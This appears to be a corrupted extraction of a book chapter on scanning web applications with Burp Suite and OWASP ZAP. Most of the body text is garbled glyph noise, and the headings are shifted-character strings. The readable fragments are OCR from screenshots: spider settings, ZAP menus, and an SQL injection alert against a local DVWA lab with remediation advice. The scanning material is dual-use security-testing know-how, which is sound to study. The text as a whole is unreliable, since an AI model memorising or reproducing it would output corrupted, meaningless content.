ȱ¢ȱȂȱ ȱȱȱȱȱ¢ȱ ǰȱ¢ȱȱȱȱ
ȱȱȱ¢ȱ ȱȱǯȱȱ ȱȱȱȱ
ȱȱȱȱȱȱ ȱȱȱȱȱȱȱ¡ȱǯ
ȱȱȱǰȱ¢ȱȱ ȱȱ¢ȱȱȱȱ ȱȱȱ
ȱȱȱȱȱǯȱȱ ȱȱŘŖȱȱȱȱ ȱȱȱǰȱ¢
ȱȱȱ ȱȱȱȱȱȱȱ ȱǯȱȱȱȱȱ
¡ȱȱȱȱȱĴǷȱ
ǰȱ ȱȱȱǰȱ¢ȱ
ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ¢ȱ
ǯȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ¢ȱ Ȃȱ ȱ ȱ ȱ ¢ǰ
¢ȱȱȱȱȱȱȱǯ
ȱȱȱ¢ȱȱ¢ȱȱȱȱȱ ȱǰȱȱȱ
ȱ ȱ ȱ ¢Ȃȱ ǰȱ ¢ȱ ȱȱȱȱȱȱȬȱ
ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱȱ ȱ
ȱ Ȭǯȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ
ȱ Ĵȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱȱ ȱ ȱ ȱȱ Ȭȱ
ȱȱȱřǯŝǯ
Ŷȱȱȱȱ¡ȱȱȱȱȱ¢ȱȱȱȱ
ǯ¡ȱǯ
Ŷȱȱȱȱȱȱȱȱ¢Ȃȱǰȱȱȱȱ¢ȱȱȱȱǯ
ȱȱ¢ȂȱȱȱȱȱǰȱȂȱȱȱȱȱ ȱȱ
ȱȱȱȱȱȱ¢Ȃȱ ȱȱ Ƿ
Ŷȱȱȱȱȱȱȱȱȱȱȱȱȱ¢ȱȱȱȱ
ȱȱȱȱǰȱȱȱȱȱ¡ȱ ȱȱǯ
A v x burp suite free edition vl.4
burp intruder repeater window about
target t prow I spider T f intruder [ repeater [ÿsequencer 1 decoder | comparer I
control ! options |
settings
),*85( %XUS6SLGHUVHWWLQJVDQGWUDIILFPRQLWRULQJRSWLRQV
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ǯȱ ¢ȱ ǰȱ
ȱȱ ȱȱȱȱȱȱęǯȱ ȱȱȱȱ ȱȱȱȱǰ
ȱ ȱ ȱ ǰȱ ȱ ȱ ęȱ ȱ Ĵȱ ȱ ȱ ȱ ȱ ǻ
Ǽȱǯȱ ȱȂȱȱȱȱDZȱȱȱȱȱęȱȱǰȱ
ȱȱȱ ȱȱȱȱǷȱǻ
ǰȱȱ ȱȱȱȱǰȱȱ¢
ȱ ȱ Ǽǯȱ ȱ ȱ ȱ ęȱ ȱȱ ȱ ȱ ȱ ȱ ȱ ȱ
¡ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȭęȱ ȱ ǰȱ ¢ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ¢ȱ ȱ ǯȱ ȱ
ȱ ȱ ȱ ȱȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ǯȱ Ȃȱ ȱ ȱ
ȱȱ¢ȱȱȱȱȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱȱȱȱ¢ȱ¢ȱȱȱȱȱ
ȱ ¢ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱȱ ȱ
ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱȱȱȱ ȱǯ
ǰȱȱȱȱȱȱȱȱȱȱȱȱęȱȱ ȱȱ
řǯŞǯȱȱȱȱ¡ȱȱȱ ȱȱȱȱȱ ȱȱ ȱȱ
ȱȱȱȱȱȱǯ
forms
__
don't subpurt forms
prompt for guidance
* siuto matte all/ submit using the following rules to assign parameter values;
* reqex surname _ up
- ....
name Peter Wiener
y regex comp tier Consulting down
regex _ addr \ Main Street
CSltflLnjfti: UrfiAne-ruillA
i » add
),*85( %XUS6SLGHUIRUPVRSWLRQV
ȱȱȱȱǰȱ ȱȱ¢ȱ¢ȱȱǰȱȱ¢ȱȂ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ
ȃȱȱȱȄȱȱȱȬȱ ȱȱȱȱ¢ȱ¢ǰ
ȱȱȱȱȱȱȱȱ¢ȱȱȱȱȱȱȱ
ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ǰȱ ¢ȱ Ĵǰȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ Ȃȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱǯȱȱȱȱ¢ǯ
ȱȱȱ¢ȱȱȱ¢ȱȱ¢ȱȱȬȱ ȱȱǯȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ¡ȱ ¢ǯȱ ȱ
ȱȱ ȱǰȱ ȱȱȱ ȱȱȱȱȱȱȱ
ȱȱ ȱȱ ȱ ȱȱ ȱ¢ȱȱ
ȱǯȱȱȱ ȱȱ ȱ
ęȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȇȱ ȱ ¢
Ĝȱ ǻ Ǽȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ Ĵȱ ȱ ŚŖŖ
ȱ ȱ ȱ ȱ ȱ ȱȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȇȱ ȱ
ȱ ȱ ¢ȱ ȱ ȱ ǯȱ Ƿȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ
Ĵȱȱȱ ȱȱȱȱȱȱǰȱ ȱȱȱ
ȱ ǰȱ ǯȱ ȱ ȱ Ĵȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ¡ȱ
Ƿȱ ȱȱȱȱDZȱȱȱȱ ȱȱ ȱ¢ȱ ȱȱ
ȱȱǰȱȱȱȱ¢ȱȱȱ¢ȱǷ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱǯȱ ȱȱ¢ȱȱȱęȱȱ¡ȱȱȱȱȱ
¢ȱǻȱȱȱǼǯȱȱȂȱȱǯȱȱȱȱȱȱȱȱ¢ȱǰȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ƿȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ
ȱǯȱ ȱȱǰȱȱȂȱȱȱ ȱȱȱȱȱ¢
ęȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ¢ȱ ȱ
¢ȱȱȱ¢ȱȱȱȱȱȱȱȱȱ¢ȱǯ
:HE$SSOLFDWLRQ6FDQQLQJ
ȱȱȱȱȱȱ ¢ȱȱȱȱȱ
ȱȱȱȱęȱ ȱȱęȱȱȱǯ
ȱ ȱȱȱȱ ȱȱ ȱȱȱ ȱȱȱȱ
ȱ ¡¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ¢£ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱ Ȃȱȱȱȱ ȱȱȱȱȱȱȱȱȱ
ęȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ěȱ ¢ȱ ȱ Ȭ
ǯ
ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ DZȱ ȱ
ȱ ȱ ȱ ȱ ȱ Ȃȱ ȱ Ĵȱ ¡¢ȱ ǻ Ǽǯȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
¡¢ȱǞřŖŖǯȱ ¢ȱ¢ȱȱȱȱȱȱȱ ȱȱȱ¢ǰȱȱ ȱȱ¢
ȱȱȱȱȱȱȱȱȱȱȱ ȱǯȱȱ
ȱȱ¢ȱ ȱȱȱȱǛŗȱȱȱȱȱȱȱȱǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱ¢ȱǰȱȱ¢ȱȱ ȱȱ¡ȱȱȱ ȱ ǰȱȱȱ¢
ȱȱȱȱ ȱǰȱ¢ȱȱ ȱȱ¢ȱ ¢ȱȱȱ ȱȱ
ǯ
:KDW$6FDQQHU:LOO)LQG
ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ
¢ȱȱȱȱȱǰȱȱ ȱȱȱ ȱȱȱ¢DZ
ŶȱȬȱȱȱȱȱȱȱȱȱȱȱȱ
¢ȱȱǯȱȱ¢ȱȱ¢ȱȱȱȱ
¢ȱ¢ȱȱ ȱȱȱȱȱȱȱ ȱ
ȱȱȱȱȱȱȱǯȱȱȱȱȱ¢ȱǻ¢ȱŘŖŖŖǼǰȱ
ȱȱ ȱ ȱȱȱȱȱ¡ȱȱȱ¢ȱȱ
¢ȱ ȱȱȱȱȱȱǯȱȱȱ¡ȱȱȱȱ
ȱ ȱȱȱȱȱ ȱȱȱȱȱȱ
ȱȱȱ ȱ¢ȱ£ȱȱǯȱȱȱȱ
ȱȱȱȱǰȱȱȱȱȱȱȱȱ
ȱȱǰȱȱȱȱȱȱǯ
ŶȱȬȱȱȱȱȱȱȱȱȱȬȱȱǻǼǯ
ȱ ȱȱȱ¢ȱȱ¢ȱȱ¢ȱ¢ȱ¢ȱȱ
Ȭȱȱȱǯȱȱȱȱȱȱȱ¢ǰȱȱ
ȱȱȱȱ¢ȱȱȱȱȱȱ ȱȱ
ȱȱȱȱȱǯȱȱȱȱ ȱȱȱȱ
ȱȱȱȱȱȱȱȱȱȱȱȱ¢ȱ
¢ȱȱǯȱȱȱȱȱȱȱǻȱȃȱȄ
ȱȱȱȱȱ¢Ǽȱȱȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱǯ
Ŷȱȱȱȱȱȱ¢ȱȱȱȱȱȱ¢ȱ
ȱ ȱȱ ȱȱȱȱȱȱȱ¢ȱ
ǯȱȱȱ ȱȱȱȱȱȱȱȱȱ
ȱȱȱ ȱǯȱȱ ȱȱȱȱȱȱ ȱȱ¢
ȱ¢ȱǯȱȱȱȱȱ ȱȱȱȱȱ
ȱȱȱ¢ȱȱȱȱǰȱȱȱ¢ȱȱȱȱ
ȱȱȱȱȱȱ ȱȱȱǯȱȂȱȱȱȱȱȱ
ȱ ȱȱȱȱȱ¢ȱȱ
ǰȱȱ¡ǯ
:KDW$6FDQQHU:RQ¶W)LQG
ȱȱȱȱȱȬȱęȱȱȱ¢ȱȱ
ȱ¢ȱȱęȱȱ¢ȱ¢ȱȱȱȱ ȱȱȱȱ¢ȱǯȱ
Ȃȱȱ
ȱ ȱȱȱȱȱȱȱ¢ȱȱȱ
ȱȱȱȱȱȬȱȱȱȱǞŗśǰŖŖŖȱ ȱǯ
Ŷȱȱ DZȱȱȱ ȱ¢ȱȱȱȱȱȱ ȱȱ
ǰȱȱȱȱȱȱȱȱȱȱȱǯȱȱȱȱ
ȱȱȱȱȱǰȱȱȱȂȱ£ȱȱȱȱ
ȱ ǯȱȱȱȱȱȱȱȱ¢ȱǰȱȱ
ȱȱȱ¢ȱȱȱȱ¢ǯ
ŶȱȱȱDZȱȱȱȱȱȱȱȱ ȱ
ȱȱȱȱȱȱȱ ȱȱȱȱ
ȱȱȱȱȱȱ¢ȱȱ¢ǯȱȱȱ¢ȱ
ȱȱȱȱȱȱȱȱȱȱǰȱǰȱ ǰȱȱ
ȱȱȱȱȱȱȱȱǯȱǻȱȱȱ¢
ȱ ȱȱȱȱȱ ȱȱ ȱȱȱ
ǯȱ ȱǷǼ
ŶȱȱȱȱǻȬȱȱǼDZȱȱȱ¢ȱ¢
ȱȱȱȱȱȱȱǰȱȱ¢ȱȱȱ
ǯȱȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱȱȱȱȱȱǯȱȱ¢ǰ
ȱȱ ȱȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱȱȱ¢ȱȱ¢ȱȱȱǯ
ŶȱȱȱDZȱȱ¢ȱȱȱȱȱȱȱ
ȱ ȱȱȱȱ¢ȱȱ ȱȱȱȱȱ¢ȱȂ
£ȱ ȱȱȱȱȱȱȂȱȱǻ£ȱ
Ǽȱȱ ȱȱȱȱȱȱȂȱȱǻ
ȱǼǯȱȱȱȱ¢ȱȱǰȱȱȱȱȱ
ȱȱȱȱ ȱȱȱȱȱȱȱȱȱ
ǯȱȱȱȱȱȂȱȱȱȱȱ ȱȱ
ȱȱȱȱȱ¢ȱȱȱ ȱǯ
ŶȱȱȱDZȱȱȱȱȱȱȱ ȱȱ
ȱ¢ȱȱȱȱȱȱȱȱȱ¢ȱȱ¢ȱ
ȱǯȱȱ¡ǰȱȱȱ ȱȱȱȱȱ¢ȱȱ
ȱȱȱȱȬȱȬȱȱȱȱ Ȃȱȱȱȱ¢
ȱȱȱ ȱȱȱȱȱȱȱȱǯ
Ŷȱȱ ȱǻȱȱ¢ȱȱǼDZȱȱ¢ǰȱȱ ȱ
ȱ ǰȱ ȱȱȱȱ¢ȱȱȱȱȱȱ
ȱȱȱȱȱȱȱȱȱȱ ȱȱ
ȱȱȱǯȱȱȱ ȱȱȱȱȱȱ
ȱȱ¡ȱȱȱȂȱ¢ȱȱȱȱȱ
ǯ
ŶȱȱDZȱȱȱȱȱȱȱȱȱ
ȱȱȱ
ǰȱȱȱ ȱȱ£ȱȱȱȱ
ȱ¡ǰȱǰȱȱǯȱȱȱȱȱȱȱȱ¢
ȱȱȱȱȱȱȱȱȱȱȱ¢ȱȱǯ
Ŷȱȱ DZȱȱȱȱȱȱȱ ȱȱȱȱ¢
¢ȱȱǰȱȱȱȱȱȱȱȱ ǯȱ
ȱȱȱȱȱȱ¢ȱȱȱȱȱ
¢ȱȱ ȱȱȱȱȱ ȱȱȱȱȱ¢¡ǯȱȱ¢ȱ¡
ȱȱȱȱȂȱȱȱȱȱȱȱȱȱ ȱ
ȱ ȱȱȱȱȱȱȂȱDZ
DZȦȦ ǯ£ǯȦ
¢ǯ¡ǵƽ
DZȦȦ ǯ£ǯȦ
¢ǯ¡ǵƽȱȱ¢ȱ
ȱȱȱ¢ȱȱȱȱȱȱȱȱȱ¢ȱȂ
ȱ¢Dzȱȱǰȱ¢Ȃȱ ȱȱ¢ȱȱȱȱ¢ȱ¢ȱ
ȱȱȱȱȱǯ
6FDQQLQJ:LWK=('$WWDFN3UR[\=$3
ȱ ȱȱȱǰȱ¢ȱȱ¢ȱȱȱȱȱȱȱȱȱ
¡ȱ ȱ ȱ ȱ ŞŖŞŖȱ ¢ȱ ǯȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ěȱ ǰȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱǯȱȱȱȱ ȱȱȱȱȱȱȱ
ȱ ĺȱȱ ĺȱȱ ¢ȱ ȱ ĺȱȱ
ȱĺȱȱȱ¡ȱĺȱ Ȭ£ȱȱ ȱȱȱřǯşǯ
*V
fiiCtlhKll - (\ lnHormatror.ÿHI-tnrr;
# IIH«H« - 0 [.ÿpti>rj[n5i,iT«U
m offlif -\
. If
Mvitfge EKHtiDt* iAfci JÿpHewion Aiietamrt gj MSVU it'ilily !ÿ!.-: 'I !'ÿ.-! ;:ÿÿ
iil K' l n(i) i r/j AtttM CWflbow A«evjmen« ' & W '
on :
Fafcnicf
flepoirir -j 1Wv
(P
? Mlxdineeu
_
ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ¡¢ǰȱ ȱ ǰȱ ȱ ȱ ¢ȱ
Ȧȱǯȱ ȱȱȱȱȱȱȱȱȱȱȱ ȱ
ǰȱȱ££ȱȱȱȱȱȱȱȱǰȱȱȱ¢ȱȱ
ȱȱȱȱȱ ȱ¢ȱȱȱȱ ȱǯ
&RQILJXULQJ=$3
ȱ ¢ȱ ȱ ȱ ȱ ęȱ ǰȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ¢ȱ ȱ ę
ǯȱȱȱ ȱęȱ ȱȱ¡ȱȱ¢ǯȱ ȱȱȱ ȱȱ
¢ȱȱ
ǰȱȱȱȱȱȱȱ ȱęǯȱȱȱ¢ȱ
ȱ ȱĴȱȱȱȱęȱȱȱ¢ȱ¢ȱȱ ȱȱ
řǯŗŖȱȱ ȱȱȱȱȱȱ¡ȱȱ¢ȱȱȱȱǯ
* OWASP ZAP
SSL Root f A certificate
),*85( 66/FHUWLILFDWHZDUQLQJLQ=$3
ȱ ¢ȱ ¢ȱ ȱ ęȱ ȱ ȱ ǰȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ
ȱȱ¡ȱȱ ȱȱȱřǯŗŗǯȱ ȱ¢Ȃȱ ȱ¢ȱȱ¢Ȃȱ
ȱ¢ȱȱǰȱȱȱȱ ȱȱȱȱȱȱȱȱȱȱ
ȱȱȱȱ ǯȱȬȱ¢ȱ ȱȱȱȱȱȱȱ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ǰȱ ǰȱ ȱ ǰȱ ȱ ȱ ȱ ȱ
ȱǰȱ¢ȱȱȱȱ
ȱȱȱȱ ȱȱȱȱȱȱǯ
3 *
-a bb EN“ <3 or o >H- dDi H IN JC E
ii§i'ÿ!ÿSll||slf
O jE Q
H > «
>xOÿ > V C>
= ti « -j P
A +.J
"*ÿ>
3 C 3
*Ut*»2»gt5H$aiI»S
gtssiliesgs
.I t ¥ 4 ta
| S t sd s MS I? t sa
: =SeSii3¥ililTfgi5SÿeS!
: t iff I15 S 3 21 £ 88 £ S i 3 V :
5ÿ£S2ÿ|iib#ga!giitea3gÿE I
0£*
K
-5 f
LLI UJ -li Z
M
7 > c r S5
H t V y
V T L>J<|JlO!t'|-lAM
3 Ul
yj M "Ju 3 v x LU z
« u i ii- _i ui LL
£-
= §£EÿfZ £
1
—
i? N H S
r-r =
-*. I-* £ JO
isli=3llj«*Sasls«-igi89 ffl
8
£ JC rÿi U ¥t
Ci k- TQ Offl 4 &riX-nÿ
*
*
«
::ÿ
H(ÿZIi.llJ££Q<v04|Ufl4l5actÿH
i :'
ȱȱȱȱ ȱȱȱřǯŗŘǯ
1 | N V V >- +' T. F* J 50 S'ff >ZE * »
ZX£fZxr-oaHCUJC4,£N440ti-s.|| rr CPÿ
i:
:
1
£ <j?
T
S i r
C
-ÿi l
_ u <r
3 3
),*85( *HQHUDWLQJFHUWLILFDWHLQ=$3
z 5
L
I
_•
/
d. :
V “
JT g £
s “ I s S . ? g i |f|,S
S u
Li
C
o »i iSiliu f 5 1 4-1# s
!B
H -L
s ts
£ 0%tK J
* f
5XQQLQJ=$3
IH Applications Places System Q
-- * Untitled Session
Eile Edit View Analyse Report Tools Help
- OWASP ZAP
L j ki W i"l 3 3 *“ l> 0
J Sit esc*- Request
Raw View
_ GETiinc Attack Active Scan sit* r.
GETJOC Exclude from Active Scan node c
Ron application Spider site
t
. P0£T:k y
Delete (from view)
|j_J dVwa Brute Force site 1
(from DB)
Igfr vulnera Purge Port scan host 1
),*85( 5LJKWFOLFNPHQXIURPWKH³6LWHV´WDELQ=$3
ȱ ęȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ȱ
ǯȱ ȱ ȱ ȱȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ¢
ȱȱ ȱ ȱ ȱ ¡ȱ ǰȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ
ȱȱȱȱȱȱȱȱȱȱȱ ȱȱȱřǯŗřǯ
[ History ™ [ Searth |BreaX Feints X|tins f*1 Scan ?) ] Spider |Brute Furte/|Pert Start ' |Fufflfrf |Output |
Site: l *7,0, 0,1 Current Xsnj;!
UPl found during cravnl:
httf U127 P P ]/itoT*r]t/rc-5:Q-D
orqulndex php,fifap_10_3Q<l,7-AJ
),*85( 6SLGHUSURJUHVVLQ=$3
ȱ ȱ ȱ ȱ ǰȱ ¢ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱ ¡ȱ ȱ ȱ ¢ȱ ȱ ȱȱȱ ǯȱ ȱ ¢ȱ ȱ ȱ ǰȱ ¢ȱ
ȱȱȱȱ¢ȱĴȱȱȱȱȱǯȱȱȱȂȱȱȱ
ȱ ȱȱȱřǯŗŚǯ
f History 1 Search |Break Points X~| Aiortÿ f*T[ Active Stÿn |Spldorÿfj j~Port Scan "[ FmardTT Output|
'
"
Current Seans 1 vjrQ
),*85( $FWLYHVFDQSURJUHVVLQ=$3
ȱȱȱȱȱ¢ȱȱȱȱ¢ȱȱȱ
ȱȱȱȱȱ ȱȱȱȱȱȱ¡¢ȱ ȱȱ
ȱ ȱǯȱȱȱȱȱ¢ȱȱȱȱȱȱě¢ȱȱ
ȱ ȱȱȱȱȱȱȱȱȱȱȱȱ
ȱǯȱȱȱȱȱ¢ȱȱȱȱȱȱȱȱȱȱǯ
5HYLHZLQJ=$35HVXOWV
ȱ ȱ ȱ ȱ ȱ ǰȱ ¢ȱ ȱ ȱ ȱ ęȱ ȱ ȱȱ
ȱȱȱȱ ȱ¢ȱȱȱǯȱ Ȃȱȱȱ
ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ǻȂȱ ȱ ȱ ǷǼȱ
ȱ ¢ȱ ȱ ȱ ȱ ęȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ
¢ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ǻǯȱ ȱ ȱ ¡Ǽǰȱ ȱ
Ȃȱȱȱȱȱȱȱ ȱȱȱřǯŗśǯ
V:(T..h |
Pyir.f,. _ j 4|.V|V, j 4.'; i ... S; Sj" ll-r j Brut': F 0 . , t'vH 'j'.i'i ,F i .
T tier.. ISQl Injeetlon i mo-H-f pcinl in<7
* at SOL ln|eitiort Fingerprint Irtg 14) Risk: 1* High
_ hutpij/l 27,0.0.17dvwa/intludes/DBMS/?C-S;0-D'IHjE( Reliability: Suspkiouo
Raram eter: username- admlnt password passwardit,oijin-l,oijlnfli27 IfyjECTJ
B ht(p:(yl27 0.0. lfl agin pnp DtKKFttofl
htr p:yyl J7.di.di.1ftetup.php
Jut p-lll 2 7.0.0.1wlnerabiliNes/fiidpage
ill I* SQL lfi|e(tion (4 )
- inc lude. php
SQL injection may be possible.
•t ij - Directory Drowsing (7)
-
aJ Cookie set wthoot HttpOnJy fta-g <«)
.i*i . Password Auteeomplel* in brwrter <?1) othrf inf*
),*85( 6LQJOHLWHPLQWKH$OHUWVWDELQ=$3
ȱ ȱȱȱ¡ȱȱȱĴȱȱ ȱ ȱȱȱȱȱǯ
ȱ ȱ ȱ ȱ ȱ ȬȬȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ
ȱȱȱȱȱȱȱ ȱǯȱȱȱȱȱĴ
ȱȱȱ
ȱȱęȱȱȱ ȱȱ ȱ ȱȱ¢ȱȱȱȱǰ
ȱ ȱ ȱ ȱ ȱ ¡¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȃȱ ǯȱ ȱ
ȱȱȱǰȱȱȱǰȱȱ¡ȱȱǯȱȱ ȱȱȱ
ȱȱȱȱȱȱȱȱȱȱȱȱ ȱȱǯ
ȱ ȱ ȱ ȱ ȱ Ȃȱ ęȱ ȱ ȱ ¡ȱ ȱ
ȱ ȱ ȱ ȱ
ȱ ǯȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ęȱ ȱ
ǰȱ ȱ ȱ ȱȱřǯŗŜǰȱ
ȱȱȱ¢ȱȱ ȱȱ¢ȱȱ ȱǯ
* Save
),*85( 6DYLQJWKHH[SRUWHGILOHIURP=$3WRWKHURRWGLUHFWRU\
ȱȱȱȱȱęȱȱȱȱȱȱ¢ȱȱȱ
ȱȱȱȱȱ ǯȱ ȱȱȱȱ¢ȱȱȱ ȱȱ¢
ȱȱǯȱǯȱȱȱȱȱȱȱȱȱȱȱ
ȱȱȱ¢ǯ
$OHUW'HWDLO
+LJK6XVSLFLRXV64/,QMHFWLRQ)LQJHUSULQWLQJ
'HVFULSWLRQ64/LQMHFWLRQPD\EHSRVVLEOH
85/ȱKWWSYXOQHUDELOLWLHVIL"SDJH LQFOXGHSKS
,1-(&7('B3$5$0
3DUDPHWHUSDJH LQFOXGHSKS
,1-(&7('B3$5$0
ǯǯǯ
6ROXWLRQV
'R QRW WUXVW FOLHQW VLGH LQSXW HYHQ LI WKHUH LV FOLHQW VLGH YDOLGDWLRQ ,Q
JHQHUDO
,IWKHLQSXWVWULQJLVQXPHULFW\SHFKHFNLW
,I WKH DSSOLFDWLRQ XVHG -'%& XVH 3UHSDUHG6WDWHPHQW RU &DOODEOH6WDWHPHQW ZLWK
SDUDPHWHUVSDVVHGE\
"
,IWKHDSSOLFDWLRQXVHG$63XVH$'2&RPPDQG2EMHFWVZLWKVWURQJW\SHFKHFNLQJ
DQGSDUDPHWHUL]HGTXHU\
,I VWRUHG SURFHGXUH RU ELQG YDULDEOHV FDQ EH XVHG XVH LW IRU SDUDPHWHU
SDVVLQJ LQWR TXHU\ 'R QRW MXVW FRQFDWHQDWH VWULQJ LQWR TXHU\ LQ WKH VWRUHG
SURFHGXUH
'RQRWFUHDWHG\QDPLF64/TXHU\E\VLPSOHVWULQJFRQFDWHQWDWLRQ
8VH PLQLPXP GDWDEDVH XVHU SULYLOHJH IRU WKH DSSOLFDWLRQ 7KLV GRHV QRW
HOLPLQDWH 64/ LQMHFWLRQ EXW PLQLPL]H LWV GDPDJH (J LI WKH DSSOLFDWLRQ UHTXLUH
UHDGLQJ RQH WDEOH RQO\ JUDQW VXFK DFFHVV WR WKH DSSOLFDWLRQ $YRLG XVLQJ
VD
RU
GERZQHU
ǯǯǯ
=$3%UXWH)RUFH
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱȱ ȱ ǻ¢ȱ ȱ
Ǽȱ ȱ ȱ ȱȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ¡ǯȱ
ȱȱȱȱȱȱȱȱǻȱȱǼȱȱȱ¢ȱȱȱ
ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ¢ȱ ȱ ǰȱ ȱ ȱ
ȱȱȱȱȱȱȱȱȱȱȱ¡ȱȱȱ
ȱ ȱȱȱřǯŗŝǯ
),*85( %UXWH)RUFHWRROLQ=$3
ȱȱȱȱȱȱȱǰȱ¢ȱȱ¢ȱȱ¢ȱȱȱȱ ȱǰȱȱ
ȱȱȱ Ȃȱȱȱ¢ȱȱȱȱȱȱȱȱǯȱ
ǰ
¢ȱȱȱȱȱȱȱȱ ȱ¢ȱȱȱȱȱȱȱȱ
ȱǯ
6FDQQLQJ:LWK%XUS6FDQQHU
ȱȱ ȱȱȱȱȱ¢ȱȱȱȱȱ ǰȱȱȱȱ¢ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱȱȱȱǰȱ ȱȱ¡¢ȱǞřŖŖȱȱȱȱȱȱ ǯ
ȱȱȱȱ¢ȱȱȱȱȱ Ȃȱȱȱ¢ǰȱȱȂ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱȱȱȱ ȱȱ ǯ
&RQILJXULQJ%XUS6FDQQHU
ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ¡ȱ ȱ
ȱȱ ȱȱȦȱȱȱȱȱǯ
Ŷȱȱ
Ŷȱȱ¢ȱȱ
ŶȱȱȬȱȱǻǼ
ŶȱȱȬȱȱǻǼ
Ŷȱȱ
Ŷȱ
ȱ
ȱ
Ŷȱȱ
Ŷȱȱ
Ŷȱ
ȱ
ŶȱȬȱ
ȱȱȱ¢ȱȱȱȱȱ¢ȱȱǰȱȱȂȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ěȱ ¢ȱ ȱ ȱ ȱ ¢ȱ ȱ ę¢ȱ ȱ ȱ ¢ȱ
ȱȱǯȱ ȱȱȱȱȱ ȱȱȱȱȱ ȱȱęȱȱ
ȱ¢ȱ¢ȱ ȱȱ ȱȱȱȱȱ¢ȱ
ǯȱȱȱȱ¢ȱ¢ȱȱǰȱȱȱȱȱȱȱȱȱȱ
ȱȱ¢ȱǯ
5XQQLQJ%XUS6FDQQHU
